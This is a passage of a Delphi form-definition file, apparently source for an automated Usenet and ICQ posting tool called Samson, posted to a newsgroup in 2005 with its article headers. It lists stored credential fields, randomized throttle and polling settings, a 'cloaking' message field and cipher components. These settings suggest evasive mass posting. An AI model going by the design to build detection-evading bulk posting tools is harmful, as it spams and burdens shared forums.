StorageOptions.BooleanStringTrueValues = 'TRUE, YES, Y'
StorageOptions.BooleanStringFalseValues = 'FALSE, NO, N'
Root = 'Software\Samson'
SubStorages = <>
Left = 51
Top = 368
end
object RegStorage: TJvFormStorage
AppStorage = StoreReg
AppStoragePath = 'SCC\'
StoredProps.Strings = (
'nntp.Host'
'nntp.Mode'
'nntp.Password'
'nntp.Username'
'nntp.Port'
'icq.AutoAwayMessage'
'icq.ICQPort'
'icq.ICQServer'
'icq.Password'
'icq.UIN'
'PrimaryDelay.Value'
'WindowPeriod.Value'
'NGProcessCount.Value'
'PrimingPeriod.Value'
'TriggerPeriod.Value'
'PrimaryVariance.Value'
'IcqWindowVariance.Value'
'IcqWindowPeriod.Value'
'IcqPollingPeriod.Value'
'IcqPollingVariance.Value'
'WindowVariance.Value'
'PostingsProcessCount.Value'
'PrimingVariance.Value'
'TriggerVariance.Value'
'Throttle.Value'
'ThrottleVariance.Value'
'PollingPeriod.Value'
'PollingVariance.Value'
'NameEdit.Text'
'NewsHost.Text'
'PasswordEdit.Text'
'ReplyEdit.Text'
'subjectedit.Text'
'UserName.Text')
StoredValues = <>
Left = 20
Top = 368
end
object XMLStorage: TJvAppXMLFileStorage
StorageOptions.BooleanStringTrueValues = 'TRUE, YES, Y'
StorageOptions.BooleanStringFalseValues = 'FALSE, NO, N'
RootNodeName = 'Configuration'
SubStorages = <>
Left = 116
Top = 368
end
object FileStorage: TJvFormStorage
AppStorage = XMLStorage
AppStoragePath = 'SCC\'
StoredProps.Strings = (
'nntp.Host'
'nntp.Mode'
'nntp.Password'
'nntp.Username'
'nntp.Port'
'icq.AutoAwayMessage'
'icq.ICQPort'
'icq.ICQServer'
'icq.Password'
'icq.UIN'
'PrimaryDelay.Value'
'WindowPeriod.Value'
'NGProcessCount.Value'
'PrimingPeriod.Value'
'TriggerPeriod.Value'
'PrimaryVariance.Value'
'IcqWindowVariance.Value'
'IcqWindowPeriod.Value'
'IcqPollingPeriod.Value'
'IcqPollingVariance.Value'
'WindowVariance.Value'
'PostingsProcessCount.Value'
'PrimingVariance.Value'
'TriggerVariance.Value'
'Throttle.Value'
'ThrottleVariance.Value'
'PollingPeriod.Value'
'PollingVariance.Value'
'SCCE.Strings'
'SLE.Strings'
'CloakingMessage.Lines'
'NameEdit.Text'
'NewsHost.Text'
'subjectedit.Text')
StoredValues = <>
Left = 84
Top = 368
end
object DCP_blowfish1: TDCP_blowfish
Algorithm = 'Blowfish'
BlockSize = 64
MaxKeySize = 448
Left = 244
Top = 272
end
object DCP_sha11: TDCP_sha1
Algorithm = 'SHA1'
HashSize = 160
Left = 244
Top = 304
end
object DCP_gost1: TDCP_gost
Algorithm = 'Gost'
BlockSize = 64
MaxKeySize = 256
Left = 244
Top = 336
end
object DCP_idea1: TDCP_idea
Algorithm = 'IDEA'
BlockSize = 64
MaxKeySize = 128
Left = 308
Top = 240
end
object DCP_mars1: TDCP_mars
Algorithm = 'Mars'
BlockSize = 128
MaxKeySize = 1248
Left = 308
Top = 272
end
object DCP_misty11: TDCP_misty1
Algorithm = 'Misty1'
BlockSize = 64
MaxKeySize = 128
Left = 276
Top = 336
end
object DCP_rc21: TDCP_rc2
Algorithm = 'RC2'
BlockSize = 64
MaxKeySize = 1024
Left = 276
Top = 272
end
object DCP_rc51: TDCP_rc5
Algorithm = 'RC5'
BlockSize = 64
MaxKeySize = 2048
Left = 276
Top = 240
end
object DCP_rc61: TDCP_rc6
Algorithm = 'RC6'
BlockSize = 128
MaxKeySize = 2048
Left = 308
Top = 304
end
object DCP_rijndael1: TDCP_rijndael
Algorithm = 'Rijndael'
BlockSize = 128
MaxKeySize = 256
Left = 276
Top = 304
end
object DCP_twofish1: TDCP_twofish
Algorithm = 'Twofish'
BlockSize = 128
MaxKeySize = 256
Left = 308
Top = 336
end
object IniStorage: TJvFormStorage
AppStorage = StoreReg
AppStoragePath = 'NEWSFLASH\'
Options = []
Version = 2
StoredValues = <
item
Name = 'NGListFile'
Value = ''
end
item
Name = 'subjectindex'
Value = 0
end
item
Name = 'groupindex'
Value = 0
end>
Left = 296
Top = 369
end
end
Technical Details
Message-ID:
<439da5a6$0$63094$ed2e19e4@ptn-nntp-reader04.plus.net>Path:
arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!proxad.net!fr.ip.ndsoftware.net!nntp-peering.plus.net!ptn-nntp-feeder01.plus.net!ptn-nntp-spool01.plus.net!ptn-nntp-reader04.plus.net!not-for-mailShow Full Headers
Complete Article Headers
X-Google-Thread: 101489,d545b8066547a74f,start X-Google-Attributes: gid101489,public X-Google-Language: ENGLISH,ASCII-7-bit Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!proxad.net!fr.ip.ndsoftware.net!nntp-peering.plus.net!ptn-nntp-feeder01.plus.net!ptn-nntp-spool01.plus.net!ptn-nntp-reader04.plus.net!not-for-mail From: "victim of crime" <peteridunne@yahoo.com> Subject: Samson a publication system source code Newsgroups: alc.tools.misc Sender: victim of crime <peteridunne@yahoo.com> Date: Sun, 11 Dec 2005 16:29:11 +0000 X-Priority: 2 X-Library: Indy 9.00.10 X-Newsreader: News pump Lines: 2687 Message-ID: <439da5a6$0$63094$ed2e19e4@ptn-nntp-reader04.plus.net> Organization: Customer of PlusNet plc (http://www.plus.net) NNTP-Posting-Host: 4a013c4f.ptn-nntp-reader04.plus.net X-Trace: DXC=0\:BKJF;e<@37DAj2W^2]Migd3Y`7Rb;N3_LeXC3B]SICeV5FLAFVTCaI6DGW1[CEO<B^Z1XYHo@@R0?96J\[ZZK X-Complaints-To: abuse@plus.net